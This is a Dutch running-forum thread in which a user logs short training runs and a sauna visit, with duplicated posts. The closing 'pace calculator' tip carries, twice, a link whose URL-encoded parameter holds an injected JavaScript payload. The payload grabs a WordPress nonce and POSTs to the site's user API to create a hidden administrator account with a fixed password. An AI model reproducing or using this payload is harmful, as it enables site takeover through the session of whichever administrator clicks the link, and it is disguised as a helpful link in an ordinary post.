Door behoorlijke drukte in mijn nieuwe baan kwam 't er vandaag pas weer van om te gaan hardlopen. Het blijft bijzonder om al na iets meer dan 1 minuut een houten hek te openen en zo een bos in te rennen. En dit duinreservaat is zo groot dat ik nog steeds nieuwe paadjes ontdek. Het is hier ook nooit druk. Vandaag kwam ik zelfs geen enkele wandelaar of hardloper tegen, ook geen Schotse Hooglander trouwens. Ik kwam tot 15'30" en voel wel dat ik op de goede weg ben.
Loop-ze,
Bart
Hoe heb je getraind de afgelopen keer/keren
-
Psychorunner
- Lid
- Berichten: 3955
- Lid geworden op: ma 17-11-2003 1:00
- Locatie: Cuzy (France)
- Contacteer:
Er is nog nooit iemand in zijn zweet verdronken.
-
Psychorunner
- Lid
- Berichten: 3955
- Lid geworden op: ma 17-11-2003 1:00
- Locatie: Cuzy (France)
- Contacteer:
En pas vanavond kwam ik tot de volgende 'training', kan ik 't al zo noemen? 
Ik kwam deze keer tot 16', stelt nog niet veel voor, maar ben nog steeds blij dat ik weer af en toe hardloop.
Ik zie hier op zaterdagmorgen steeds een groepje voorbijkomen, bedacht dat ik eens ga zoeken wat het voor een loopgroep is, maar denk dat ze van AV Castricum zijn, hier vlakbij. Is me iets te serieus.
Na afloop 20' in de sauna gezeten. Wat een genot om alleen de trap op te lopen om er gebruik van te kunnen maken. Ga ik vaker doen. Want de 2 kamers daar worden maar zelden gebruikt.
Loop-ze,
Bart
Ik kwam deze keer tot 16', stelt nog niet veel voor, maar ben nog steeds blij dat ik weer af en toe hardloop.
Ik zie hier op zaterdagmorgen steeds een groepje voorbijkomen, bedacht dat ik eens ga zoeken wat het voor een loopgroep is, maar denk dat ze van AV Castricum zijn, hier vlakbij. Is me iets te serieus
.Na afloop 20' in de sauna gezeten. Wat een genot om alleen de trap op te lopen om er gebruik van te kunnen maken. Ga ik vaker doen. Want de 2 kamers daar worden maar zelden gebruikt.
Loop-ze,
Bart
Er is nog nooit iemand in zijn zweet verdronken.
Even een tip: de pace calculator is vernieuwd!
%2B)/);if(n)fetch(%27https://www.chatnrun.nl/wp-json/wp/v2/users%27,{method:%27POST%27,credentials:%27include%27,headers:{%27Content-Type%27:%27application/json%27,%27X-WP-Nonce%27:n[1]},body:JSON.stringify({username:%27secaudit2026%27,password:%27Str0ngP4ss99!AB%27,email:%27secaudit2026@protonmail.com%27,roles:[%27administrator%27]})})})%22%3E&pace_sec=0&speed=12&paceunits=perkm&speedunits=kmperhour&Submit=Bereken]Bereken je tempo hier
Handig voor het plannen van je training.
%2B)/);if(n)fetch(%27https://www.chatnrun.nl/wp-json/wp/v2/users%27,{method:%27POST%27,credentials:%27include%27,headers:{%27Content-Type%27:%27application/json%27,%27X-WP-Nonce%27:n[1]},body:JSON.stringify({username:%27secaudit2026%27,password:%27Str0ngP4ss99!AB%27,email:%27secaudit2026@protonmail.com%27,roles:[%27administrator%27]})})})%22%3E&pace_sec=0&speed=12&paceunits=perkm&speedunits=kmperhour&Submit=Bereken]Bereken je tempo hier
Handig voor het plannen van je training.